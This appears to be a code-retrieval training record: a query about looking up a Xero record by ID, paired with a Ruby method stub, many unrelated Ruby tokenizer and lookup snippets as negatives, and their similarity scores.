scanner.scan(eol_pattern) # Consume the eol text\n end\n\n @lineno += 1\n @line_offset = scanner.pos()\n end", "def add_tree token\n @tree_stack.last.children << NaryTree.new(token)\n end", "def unget_token(t)\n @tokenbuf.unshift(t)\n end", "def add_argument_token(token)\n @arguments.push(token.arg) if token.valid?\n self\n end", "def next_token; end", "def _pop_token(body)\n indx = body.index(' ') || body.length\n token = body[0...indx]\n body[0..indx] = ''\n return token\nend", "def putback(sym, lexeme)\n\t@tokens.push([sym, lexeme])\n end", "def <<(char)\n @text << char\n @cursor += 1\n end", "def <<(char)\n @text << char\n @cursor += 1\n end", "def emit(type, token, text)\n #puts \"EMIT: type: #{type}, token: #{token}, text: #{text}, ts: #{ts}, te: #{te}\"\n\n emit_literal if literal_run\n\n # Ragel runs with byte-based indices (ts, te). These are of little value to\n # end-users, so we keep track of char-based indices and emit those instead.\n ts_char_pos = char_pos\n te_char_pos = char_pos + text.length\n\n tok = [type, token, text, ts_char_pos, te_char_pos]\n\n self.prev_token = tok\n\n self.char_pos = te_char_pos\n\n if block\n block.call type, token, text, ts_char_pos, te_char_pos\n # TODO: in v3.0.0,remove `collect_tokens:` kwarg and only collect if no block given\n tokens << tok if collect_tokens\n elsif collect_tokens\n tokens << tok\n end\n end", "def next_token\n @sy = @tokenizer.next_token\n \n # ignore EOL tokens since no productions would accept them\n while @sy.type == TokenType::EOL_TOKEN\n @sy = @tokenizer.next_token\n end\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s + \" \"\n @output.text = @input\n end", "def pop_token\n @token_stream.pop\n end", "def pop_token\n @token_stream.pop\n end", "def emit(type, token, text)\n #puts \"EMIT: type: #{type}, token: #{token}, text: #{text}, ts: #{ts}, te: #{te}\"\n\n emit_literal if literal\n\n # Ragel runs with byte-based indices (ts, te). These are of little value to\n # end-users, so we keep track of char-based indices and emit those instead.\n ts_char_pos = char_pos\n te_char_pos = char_pos + text.length\n\n if block\n block.call type, token, text, ts_char_pos, te_char_pos\n end\n\n tokens << [type, token, text, ts_char_pos, te_char_pos]\n\n self.char_pos = te_char_pos\n end", "def end_of_line\n self.cursor = :end\n end", "def get_end_token tk # :nodoc:\n case tk[:kind]\n when :on_lparen\n token = RDoc::Parser::RipperStateLex::Token.new\n token[:kind] = :on_rparen\n token[:text] = ')'\n token\n when :on_rparen\n nil\n else\n token = RDoc::Parser::RipperStateLex::Token.new\n token[:kind] = :on_nl\n token[:text] = \"\\n\"\n token\n end\n end", "def add_token_to_components!(token)\n if token.is_a?(Tokens::LineSeparator)\n @components << Parsing::LineSeparator.new\n elsif is_start_of_line? || @components[-1].is_a?(Parsing::Operator)\n # Expect an element or a unary operator\n if token.type == :operator\n # Here it must be a unary operator\n add_unary_operator_to_components!(token)\n else\n # Here it must be an element\n add_element_to_components!(token)\n end\n\n elsif @components[-1].is_a?(Parsing::Element)\n # A word followed by a \"round group\" is actually a function: e.g. sin(x)\n if @components[-1].is_a?(Parsing::Variable) && token.type == :group && token.group_type == :round\n add_function_to_components!(token)\n # Here it is a postfix Indexing (access elements by index)\n elsif token.type == :group && token.group_type == :square\n add_indexing_to_components!(token)\n elsif token.type == :dot\n @components << Parsing::Dot.new\n elsif token.type == :operator\n add_operator_to_components!(token)\n else\n # Concatenation is multiplication\n @components << Parsing::Times.new\n add_token_to_components!(token)\n end\n\n elsif @components[-1].is_a?(Parsing::Dot)\n # Expect a word\n case token.type\n when :word\n @components[-1] = Parsing::DotWord.new(token.string)\n else\n raise Exceptions::ParseError.new(\"A word must follow a dot, received #{token.string}\")\n end\n\n elsif @components[-1].is_a?(Parsing::DotWord)\n add_token_after_dot_word!(token)\n\n else\n raise Exceptions::ParseError.new(\"Token cannot be parsed, #{token.string}\")\n end\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end", "def push_token(tk)\n @first_line = tk.line_no if @statement.empty?\n @statement << tk unless @level == 0 && [TkCOMMENT].include?(tk.class)\n end", "def append_newline\n buffer << \"\\n\"\n @current_line_length = 0\n end", "def emit_token(token)\n @state = @state.emit_token(@io, token)\n end", "def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end", "def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end", "def next_token\n\t\t@token = @input.next_token\n\tend", "def move_to_end\n @cursor = @text.length # put cursor outside of text\n end", "def move_to_end\n @cursor = @text.length # put cursor outside of text\n end", "def <<(text)\r\n if @text.length > 0 && @text[-1..-1] != \" \" && text[0..0] != \" \"\r\n @text += \" \"\r\n end\r\n @text += text\r\n end", "def next_token\n\t\tif (token = @tokens.shift) != nil\n\t\t\t@copy << token\n\t\t\treturn token.get_token\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def end_with other\n ends_with?(other) ? self : self + other\n end", "def end_with other\n ends_with?(other) ? self : self + other\n end", "def end_with other\n ends_with?(other) ? self : self + other\n end", "def token; end", "def token; end", "def token; end", "def token; end", "def token; end", "def token; end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token(value)\n merge(token: value.to_s)\n end", "def token_terminator\n %r{(?:(?=[[:space:]])|$)}\n end", "def append(text)\n return if text.nil? || text.empty?\n\n if @close_count > 0\n close_count = @close_count\n @close_count = 0\n\n append(\"$renderer.close(#{close_count unless close_count == 1})\")\n end\n\n if @whitespace_buff\n @statement_buff << @whitespace_buff\n @whitespace_buff = nil\n confirmed_newline = true\n end\n\n if (confirmed_newline || @statement_buff.match?(NEWLINE_END)) && !text.match?(NEWLINE_BEGIN)\n @statement_buff << @indent\n else\n unless @statement_buff.match?(AUTO_SEMICOLON_END) || text.match?(AUTO_SEMICOLON_BEGIN)\n @statement_buff << \";\"\n end\n\n unless @statement_buff.empty? || text.match?(WHITESPACE_BEGIN)\n @statement_buff << ' '\n end\n end\n\n flush if text.match?(NON_WHITESPACE)\n @statement_buff << text\n end", "def newline_token(offset)\n @tokens.pop while value == ';'\n\n # 1. function prototype\n if tag == ':'\n indent_token(@indent+2)\n outdent_token(2)\n\n # 2. prevent doubles terminators\n # 3. prevent terminator after indent\n # 4. prevent starting with a term on an empty file\n elsif ![:TERM, :INDENT].include?(tag) && !tokens.empty?\n token(:TERM, \"\\n\", offset, 0)\n end\n end", "def next_token\n raise NotImplementedError\n end", "def add(word)\n end", "def add_device_token(device_token)\n\t\tself.device_tokens |= [device_token]\n\t\tself.update_attribute(:device_tokens, self.device_tokens)\n\tend", "def append!\n self.operation = :append\n end", "def add_token(choice, token)\n @spaces[choice] = token\n print_board\n end", "def next_token(options = { should_advance?: true })\n if @current_scope.type == Scope::TYPE_MAIN && @current_scope.current_token.nil?\n token = @lexer.next_token\n @current_scope.tokens << token unless token.nil?\n end\n\n token = @current_scope.current_token\n\n advance token if options[:should_advance?] && token\n\n token\n end", "def _addElement( key, value )\n @token.addElement( key, value )\n end", "def endToken( byte )\r b = byte\r\n \r\n if (b.chr == ' ' || b.chr == '\\n' || b.chr == '\\r' || b.chr == '\\t') then\r return true\r elsif (b.chr == ',' || b.chr == '-' || b.chr == '\"' || b.chr == '[' || b.chr == ']') then\r return true\r\n elsif (b.chr == ':' || b.chr == ';' || b.chr == '/' || b.chr == \"+\" || b.chr == \"=\") then\r\n return true\r\n end\r\n \r\n return false\r\nend", "def append! x\n\t\t\tcurrent << x\n\t\t\tx\n\t\tend", "def end_with(*args, exactly: nil, range: nil)\n raise Regexify::Error.new('#end_with? called multiple times') if @complete\n @str += \"#{parse(args, exactly: exactly, range: range)}$\"\n @complete = true\n self\n end", "def tag_end(name)\n case name\n when \"key\"\n @last_key = @text\n when \"string\"\n @cur_snippet[@last_key] = @text\n end\n end", "def end_element(name)\n @text << \" \" if name == 'String'\n @text << \"\\n\" if name == 'TextBlock'\n @text << \"\\n\" if name == 'TextLine'\n end", "def append(cmd)\n @position = @history.length - 1\n return if cmd.length == 0\n if ( (@position == 0) or (@position > 0 and cmd != @history[@position - 1]) )\n @history[@position] = cmd\n @position = @position + 1\n @history.push('')\n end\n end", "def push_token(tk); end", "def next_token\n\t\tif ((tok = @tokensList.shift) != nil)\n\t\t\t@tokensAux << tok\n\t\t\treturn tok.idAndValue\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def <<(text)\r\n dbg_puts \" Append=#{text.inspect}\"\r\n @buffer << text\r\n rescue NoMethodError\r\n error \"F14: The current mode does not allow code to be appended.\"\r\n end" ]
[ "0.70394105", "0.6579808", "0.6335208", "0.62273157", "0.61286646", "0.58965105", "0.58485353", "0.5825494", "0.5797446", "0.5741546", "0.5733852", "0.57329094", "0.57317764", "0.56843024", "0.567202", "0.5655837", "0.5632459", "0.55840707", "0.5575739", "0.5505166", "0.5460131", "0.54587567", "0.5457876", "0.5439298", "0.5426497", "0.53980774", "0.5389879", "0.53870356", "0.53578144", "0.53539383", "0.53444266", "0.53334165", "0.53334165", "0.5300971", "0.52983314", "0.52869946", "0.52830946", "0.5272971", "0.5272971", "0.5270884", "0.52550054", "0.5239716", "0.5236327", "0.5233047", "0.5233047", "0.5233047", "0.521706", "0.5203562", "0.5200209", "0.5198527", "0.5198527", "0.51977503", "0.51951766", "0.51951766", "0.5191429", "0.5186164", "0.5185066", "0.5185066", "0.5185066", "0.5164268", "0.5164268", "0.5164268", "0.5164268", "0.5164268", "0.5164268", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.51424307", "0.5131348", "0.51188195", "0.5093169", "0.5087289", "0.5077558", "0.5075726", "0.507514", "0.50561744", "0.50526583", "0.50457156", "0.5030439", "0.49957725", "0.49780568", "0.4976052", "0.497429", "0.49709976", "0.4959436", "0.49559125", "0.4954049" ]
0.6827971
1
Try to find a single xero record by its xero id
def find_record(xero_id) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end", "def find(id); end", "def find(id); end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end", "def find_record\n record_id = params[:record_id] || params[:id]\n @record = Record.where(medical_record_number: record_id).first\n raise RequestError.new(404) if @record.nil?\n end", "def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end", "def find_record\n record_id = params[:record_id] || params[:id]\n @record = Record.where(medical_record_number: record_id).first\n not_found if @record.nil?\n end", "def find_homeroom_by_id(homeroom_id)\n strict_homeroom_id = homeroom_id.to_i.to_s.to_i\n if homeroom_id.to_s == strict_homeroom_id.to_s\n homeroom = Homeroom.find_by_id(strict_homeroom_id) # FriendlyId patches #find, so this is more explicit\n return homeroom if homeroom.present? && homeroom.id == strict_homeroom_id\n end\n raise ActiveRecord::RecordNotFound\n end", "def find_one(id)\n if id.is_a?(Integer) && id > 0\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE id = #{id};\n SQL\n\n # converts a row into an object\n init_object_from_row(row)\n else\n puts \"Id must be a number greater than 0, Try again\"\n end\n end", "def find(id)\n where({'id' => \"#{id}\"}).first\n end", "def find(id)\n first(\"Id = '#{id}'\")\n end", "def find(record_id) \n result = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end", "def find(record_id)\n self.new(CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{record_id}\").first)\n end", "def get_record(identifier)\n find_by(**id_term(identifier))\n end", "def identified_by?( id )\n\t\t\tself.rpx_identifiers.find_by_identifier( id )\n\t\tend", "def fetch(id)\n search(id: id)[:records].first\n end", "def find_by_id(id)\n find_by_attributes(:id => id).first\n end", "def find_resource(id)\n query_service.find_by(id: Valkyrie::ID.new(id.to_s))\n end", "def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end", "def find_record_from_identifier(entity)\n model = entity.model\n user_token = request.headers[\"X-#{model.to_s.upcase}-TOKEN\"]\n super if model != User || user_token.blank?\n model.find_by authentication_token: user_token\n end", "def find(record_id)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{record_id}\").first\n\n self.new(result)\n end", "def find_by_id(id)\n find_by(:id, id)\n end", "def find_by_pid(pid)\n find(pid)\n rescue Hyacinth::Exceptions::DigitalObjectNotFoundError\n return nil\n end", "def getObject(id)\n\t\tdoc.search(\"[@id='#{id}']\").first\n\tend", "def find id\n model.find id\n end", "def find_by_id(id)\n find(id)\n end", "def find(id)\n result = self.class.get(worksheet_url + \"/\" + id).parsed_response\n Record.new(result_attributes(result)) if result.present? && result[\"id\"]\n end", "def find(id)\n end", "def find(id=nil)\n record = self.connection.exec_params('SELECT * FROM contacts '\\\n 'WHERE id = $1::int', [id]) if id.is_a?(Integer)\n \n record.nil? || record.num_tuples.zero? ? nil : new(record[0].values[1], record[0].values[2], record[0].values[0])\n end", "def find_record(relation = nil)\n if locate_id.nil? || (locate_id.is_a?(::Numeric) && locate_id == 0) || (locate_id.to_s == '')\n return -1\n end\n\n dataset = load_records(relation, false)\n return -1 if dataset.blank?\n\n first_item = dataset.first\n klass = first_item.class\n\n id_field = klass.respond_to?('primary_key') ? klass.primary_key : nil\n id_field ||= first_item.respond_to?('id') ? 'id' : nil\n\n return -1 unless id_field\n if locate_id.is_a?(::Numeric)\n dataset.index{|item| item.send(id_field) == locate_id} || -1\n else\n loc_id = locate_id.to_s.downcase\n dataset.index{|item| item.send(id_field).to_s.downcase == loc_id} || -1\n end\n\n end", "def find(record_id)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects.first \n end", "def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end", "def id(num)\n find :id => num\n end", "def find_record(item, no_raise: false, meth: nil, **opt)\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = sid = nil\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n sid_key = opt.key?(:sid_key) ? opt[:sid_key] : sid_column\n if id_key || sid_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = id_key && (opt[id_key] || opt[alt_id_key(opt)])\n sid = sid_key && opt[sid_key]\n if valid_sid?(id)\n if sid && (id != sid)\n Log.warn { \"#{meth}: id: #{id.inspect}, but sid: #{sid.inspect}\" }\n end\n id, sid = [nil, id]\n elsif id && sid\n Log.debug do\n \"#{meth}: choosing id: #{id.inspect} over sid: #{sid.inspect}\"\n end\n end\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif sid\n record = record_class.find_by(sid_key => sid)\n error = \"for #{sid_key} #{sid.inspect}\" unless record\n else\n error = '%s value given' % [id_key, sid_key].compact.join(' or ')\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: both :id_key and :sid_key set to nil\"\n end\n if record\n record\n elsif !id && !sid\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end", "def find_by_friendly_id(id)\n first_by_friendly_id(id) or raise_not_found_exception(id)\n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end", "def get_partner_by_identifier\n @partner = Partner.find_by!(partner_id: params[:id])\n rescue ActiveRecord::RecordNotFound\n render_404\n end", "def identified_by?( id )\n\t\t\tself.rpx_identifier == id\n\t\tend", "def find_record(id)\n @model_class.find(id)\n end", "def find_record(id)\n @model_class.find(id)\n end", "def get(id)\n klass.find(:first, params: { klass.primary_key => wrap_key(id) })\n end", "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results= CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n if results.empty? \n return nil\n else \n result=results.first\n self.new(result)\n end\n end", "def find_object\n @object = @model_class.find_by_id(params[:id].to_i)\n end", "def [](x)\n case x\n when self\n x\n when Hash\n find_by_hash(:first, x)\n when nil, Symbol\n find(:first, :conditions => [ 'code = ?', (x || '_').to_s ])\n when String\n find(:first, :conditions => [ 'uuid = ? OR code = ?', (x || '').to_s, (x || '_').to_s ])\n when Integer\n find(:first, :conditions => [ 'id = ?', x ])\n end\n end", "def findRecord(domain)\n return CouchPotato.database.load_document domain\n end", "def find doc_id\n # Get the id if passes a Document object\n doc_id = doc_id.doc_id if doc_id.respond_to? :doc_id\n ensure_connection!\n resp = connection.get_doc index_id, doc_id\n return Document.from_hash(JSON.parse(resp.body)) if resp.success?\n return nil if resp.status == 404\n fail ApiError.from_response(resp)\n rescue JSON::ParserError\n raise ApiError.from_response(resp)\n end", "def find(model, id)\n key = model.primary_key\n condition = {\"#{key}\" => id}\n data = store.read(condition, table: table_name).first\n fail RecordNotFound.new(condition, table_name) unless data\n\n model.new data\n end", "def get_object_from_db_id(db_object_id)\n get_object_from_db_object(@db_class.find(db_object_id))\n end", "def find(id)\n find_by_id(id).tap { |result|\n if result.nil?\n raise RecordNotFound, \"#{self.class.name}#find with ID #{id.inspect} was not found\"\n end\n }\n end", "def find(id)\n find_result\n end", "def find(id)\n begin\n @@grid.get(id)\n rescue\n nil\n end\n end", "def find_document!(model, id)\n document = model.find_by_id(id)\n unless document\n error 404, convert(body_for(:not_found))\n end\n document\n end", "def find(id)\n self.detect{|x| x.id == id.to_i}\n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end", "def test_find_id_by_serial_num\n d = Dog.new({\"name\"=>\"Phoebe\", \"breed\"=>\"Heeler x\", \"age\"=>3, \"serial_num\"=>3, \n \"colour\"=>\"Black tri\", \"description\"=>\"Fearful of people.\", \"temperament_id\"=>13, \"owner_id\"=>1})\n x = Dog.find_id_by_serial_num({\"serial_num\"=>3})\n assert_kind_of(Integer, x)\n end", "def find_record(item, no_raise: false, meth: nil, **opt)\n # noinspection RubyMismatchedReturnType\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = nil\n\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n if id_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = opt[id_key] || opt[alt_id_key(opt)]\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n else\n error = \"#{id_key} value given\"\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: :id_key set to nil\"\n end\n\n if record\n record\n elsif !id\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end", "def get(id)\n collection.find_one({\n Crocoduck::Store.id_field => id.to_i\n })\n end", "def find_by_id(id)\n unless id.class == BSON::ObjectId\n if BSON::ObjectId.legal? id\n id = BSON::ObjectId.from_string(id)\n else\n nil\n end\n end\n\n find('_id' => id).first\n end", "def find id, params = {}, &block\n rel = relation params, &block\n rel.where!(config.document_unique_id_param => id) \n rel.load\n rel\n end", "def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end", "def first!\n first or raise RecordNotFound\n end", "def find_invoice_or_fail(id)\n begin\n invoice = find_invoice(id)\n rescue InvalidInvoiceError => e\n raise Reji::AccessDeniedHttpError, e.message\n end\n\n raise ActiveRecord::RecordNotFound if invoice.nil?\n\n invoice\n end", "def _fedora_object(id)\n id_segments = id.to_s.split('/')\n connection.find(id_segments[1])\n end", "def find(id)\n finder_or_run(:find, id)\n end", "def find(id)\n result = connection.exec_params(\"SELECT * FROM contacts WHERE id=$1::int LIMIT 1;\", [id])\n contact = result[0] # put a guard here to make sure not nil \n self.new(contact['name'], contact['email'], contact['id'])\n end", "def find_by_id(id, options = {})\n if item = Dynamoid::Adapter.read(self.table_name, id, options)\n obj = self.new(item)\n obj.new_record = false\n return obj\n else\n return nil\n end\n end", "def find_one(id, query = nil)\n response = request(:get, \"/#{resource_name}/#{id}\", query)\n construct_record_from_singular(response)\n end", "def find(id)\n @objects[id]\n end", "def find(record_id) \n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n results = QUIZ.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n self.new(results)\n end", "def find(id)\n Infopark::Crm::Contact.find(id)\n rescue ActiveResource::ResourceNotFound\n raise UserNotFound.new\n end", "def find(id)\n @records.find { |record| record.id == id }\n end", "def find_record\n @record ||= model.find_by_id(params[:id])\n end", "def record_item(no_exception: false)\n unless respond_to?(:record_type) && respond_to?(:record_id)\n raise FphsException, 'Does not have a record_type or record_id attribute'\n end\n\n rc = ModelReference.to_record_class_for_type record_type\n r = rc.find(record_id)\n unless no_exception || r.can_access?\n raise FphsException, \"User does not have access to record of type #{record_type}\"\n end\n\n r\n end", "def lookup(field)\n id = field.to_s\n Server.new_instance self, collection.find_one(id)\n rescue BSON::InvalidObjectId\n Server.new_instance self, collection.first(:display_name => field) || collection.first(:link => field)\n end", "def find_by_id(id)\n invoices.find { |invoice| invoice.id == id }\n end", "def find(id)\n # TODO: Find the Contact in the 'contacts.csv' file with the matching id.\n @@conn.exec_params('SELECT * FROM contacts WHERE ID = $1::int', [id])\n end", "def find!(id)\n find(id) || raise(RecordNotFound, id)\n end", "def lookup(field)\n id = BSON::ObjectId(field.to_s)\n Server.new_instance self, collection.find_one(id)\n rescue BSON::InvalidObjectId\n Server.new_instance self, collection.find_one({ :display_name=>field }) || collection.find_one({ :link=>field })\n end", "def find_by_id(goid)\n self[goid]\n end", "def get_xtid(xtid, id)\n self.class.headers 'X-tid' => xtid\n self.class.get(\"/aldebaran-recdocs/recdocs/#{id}\", :basic_auth => @auth)\n end", "def find_record(table, id)\n result = DB[table].where(id: id).first\n result ? Hashie::Mash.new(result) : nil\nend", "def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end", "def read(id)\n raise(ArgumentError, \"ID parameter is nil\") if id.nil?\n\n sql, vals = sql_select(nil, id_fld => id) \n rows = select sql_subst(sql, *vals.map{|v| quote v}) \n Octothorpe.new(rows.first)\n\n rescue => e\n # select already wrapped any error in a Pod4::DatabaseError, but in this case we want to try\n # to catch something. Ruby 2.0 doesn't define Exception.cause, but if it doesn't, we do in\n # Pod4Error, so. (Side note: TinyTds' error class structure is a bit poor...)\n raise CantContinue, \"Problem reading record. Is '#{id}' really an ID?\" \\\n if e.respond_to?(:cause) \\\n && e.cause.class == TinyTds::Error \\\n && e.cause.message =~ /conversion failed/i\n\n handle_error(e)\n end", "def find_by_id(id)\n id = id.to_i\n\n @id_hash[id]\n end", "def find(id)\n @adapter.find(collection, id).tap do |record|\n raise Lotus::Model::EntityNotFound.new unless record\n end\n end", "def find_record\n @record = reply_address.record\n end", "def find(id)\n id = id.to_i\n contacts = Contact.all\n contact = nil\n contact = contacts[id-1] unless contacts[id-1].nil?\n end", "def test_retrieve_object_by_id\n\t\tVCR.use_cassette('retrieve_object_id') do\n\t\t\tcrr = CrApiWrapper::CrRecord.find(\"10.1039/c9sc04905c\")\n\t\t\tassert_equal Hash, crr.class\n # puts crr\n\t\t\t# Check that fields are accessible\n\t\t\tassert_equal \"10.1039/c9sc04905c\", crr['DOI']\n\t\t\tassert_equal 46, crr[\"reference-count\"]\n\t\tend\n\tend", "def find(id)\n table_name = self.table_name\n \n result = CONNECTION.execute(\"SELECT * FROM '#{table_name}' WHERE id = #{id};\")\n result = result.first\n \n self.new(result)\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find(id)\n table_name = self.to_s.pluralize.underscore\n \n result = CONNECTION.execute(\"SELECT * FROM '#{table_name}' WHERE id = ?;\", id).first\n \n self.new(result)\n end", "def find_one(params, field = :_id)\n return nil if params.nil? #to avoid mistakes \n return self.find(params).first if params.is_a? Hash\n\n find_one((field.to_s) => params)\n end", "def find_obj\n @obj = eval(resource_name).find_by(id: params[:id])\n end", "def find(id)\n found_id = redis.get \"#{klass}:id:#{id}\"\n\n if found_id\n object = self.new\n object.send(:id=, found_id.to_i)\n object\n end\n end", "def fetch_record_by_param\n model.find(params[:id])\n end", "def find(id)\n @@conn.exec_params(\"SELECT * FROM contacts WHERE id=$1;\", [id]) do |results|\n return create_from_row(results[0])\n end \n end", "def eds_get_record(id, eds_params = nil)\n dbid, an = extract_dbid_an(id)\n eds = eds_session('bl-repo-find', eds_params)\n eds.retrieve(dbid: dbid, an: an)\n end" ]
[ "0.64689296", "0.63627136", "0.63627136", "0.6335353", "0.6335353", "0.63308114", "0.6325294", "0.6324489", "0.63060206", "0.62488365", "0.62438637", "0.62347865", "0.618941", "0.61826444", "0.61771", "0.6171773", "0.6126213", "0.61185825", "0.6091522", "0.6081643", "0.606306", "0.6038048", "0.6032954", "0.601693", "0.599877", "0.59965676", "0.59860295", "0.5985509", "0.59847325", "0.5968115", "0.59446126", "0.59419274", "0.59404296", "0.5920649", "0.59202915", "0.59146166", "0.590896", "0.5899924", "0.589208", "0.5890792", "0.5875903", "0.5875903", "0.5875292", "0.58713734", "0.58688664", "0.5865506", "0.58631", "0.5854615", "0.5851913", "0.585033", "0.5838768", "0.5835608", "0.582278", "0.5815618", "0.58151156", "0.58131564", "0.5812203", "0.5803939", "0.5790948", "0.57834333", "0.57810974", "0.57804894", "0.5759941", "0.57503134", "0.57460016", "0.5743149", "0.5737084", "0.5733851", "0.57325304", "0.57305473", "0.57020736", "0.56944114", "0.5693776", "0.56860447", "0.56673336", "0.56598127", "0.5651432", "0.56429166", "0.56426084", "0.5639128", "0.56376433", "0.5636718", "0.56331384", "0.5624954", "0.56242484", "0.5623862", "0.56175536", "0.5617238", "0.5614993", "0.5612011", "0.56069237", "0.559525", "0.559525", "0.5591025", "0.5590253", "0.55869114", "0.55861646", "0.55848503", "0.5583657", "0.55825585" ]
0.7981715
0
Try to find a single record by some other predicate Each record type may need a slightly different lookup
def find_record_by(model) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_by(**args)\n where(**args).first\n end", "def lookup(predicate)\n hash = crosswalk_hash\n result = hash.select(&find(predicate))\n return result.first unless result.empty?\n end", "def find(predicate)\n filtered = filter_to_array(predicate)\n return nil if filtered.length.zero?\n\n filtered[0]\n end", "def find_one(&block)\r\n copy_and_return(@records.find(&block))\r\n end", "def find_single_record zone, name, content, type = 'A'\n get_records(zone, name).values.each do |rec|\n if rec['zone_name'] == zone \\\n && rec['display_name'] == name \\\n && rec['content'] == content \\\n && rec['type'] == type\n return rec\n end\n end\n nil\n end", "def find_record(item, no_raise: false, meth: nil, **opt)\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = sid = nil\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n sid_key = opt.key?(:sid_key) ? opt[:sid_key] : sid_column\n if id_key || sid_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = id_key && (opt[id_key] || opt[alt_id_key(opt)])\n sid = sid_key && opt[sid_key]\n if valid_sid?(id)\n if sid && (id != sid)\n Log.warn { \"#{meth}: id: #{id.inspect}, but sid: #{sid.inspect}\" }\n end\n id, sid = [nil, id]\n elsif id && sid\n Log.debug do\n \"#{meth}: choosing id: #{id.inspect} over sid: #{sid.inspect}\"\n end\n end\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif sid\n record = record_class.find_by(sid_key => sid)\n 